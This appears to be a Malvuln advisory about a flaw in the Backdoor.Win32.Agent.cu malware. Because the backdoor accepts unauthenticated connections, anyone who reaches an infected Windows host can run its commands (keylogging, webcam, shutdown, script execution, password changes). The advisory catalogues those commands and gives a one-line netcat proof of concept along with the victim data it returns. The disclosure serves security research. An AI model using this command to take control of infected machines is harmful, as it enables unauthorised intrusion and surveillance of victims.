Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.cu Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 10426, 56185. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. Type: PE32 MD5: ce1963d3fd6a8e1383aac40a1f1c4107 Vuln ID: MVID-2021-0305 Dropped files: MsgNet32.exe Disclosure: 07/26/2021 Commands translated from German. 001, Successfully connected to 036, Password is required 002, 007, server will be closed 008, server is gel scht \ Software \ Microsoft \ Windows \ CurrentVersion \ Run 021, server was gel scht, l but continues D 021, Emmm RegistryName cannot be found ... 009, server will be uninstalled 021, server was uninstalled 011, % f Mhz Bytes 012, 021, PC is shutting down ... 022, Pc is restarted ... 023, user is logged out ... 024, Pc is turned off power off ... 025, Forced restart or shutdown ... 026, 027, keylogger has stopped 028, 021, program has been closed 021, Program is displayed [Focus] 021, Program is Maximized 021, Program is minimized 021, title was changed changes 035, 021, Send desktop pictures, Aborted No driver 492, No webcam driver found nope 490, webcam driver [] found 493, 021, webcam was switched off k_OF == 43 037, Wrong password, connection will be disconnected 021, starting batch file ... 021, batch file was started ... 021, Error starting the file ... 021, VBS file is started ... 021, VBS file was started ... 021, error when starting the VBS file ... 021, REG file is started ... 021, REG file was started ... 021, error when starting the REG file ... 038, 021, chat he opens with 021, message arrived ... 021, chat will be closed ... 021, 021, text was written on the desktop user 021, The admin password has been changed changes 021, The admin password could not be found be changed 021, The system is not an XP operating system send 021, Net Send message was sent 021, Net send message could not be sent Exploit/PoC: nc64.exe 192.168.18.129 10426 000, ▄berprⁿfe...006 012, Victim DESKTOP-2C4JQHO Windows NT English (United States) 1612x831 C:\WINDOWS C:\WINDOWS\system32 C:\Users\Victim\AppData\Local\Temp\ 2907.11 Mhz Intel64 Family 6 Model 158 Stepping 9 3,620,909,056 Bytes DESKTOP-2C4JQHO 0.0.0.0 6 Lamer n/a - n/a 000, ▄berprⁿfe...001 002, MsgNet32.exe Erazer 1.0 10426 56185 Microsoft Net C:\WINDOWS Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).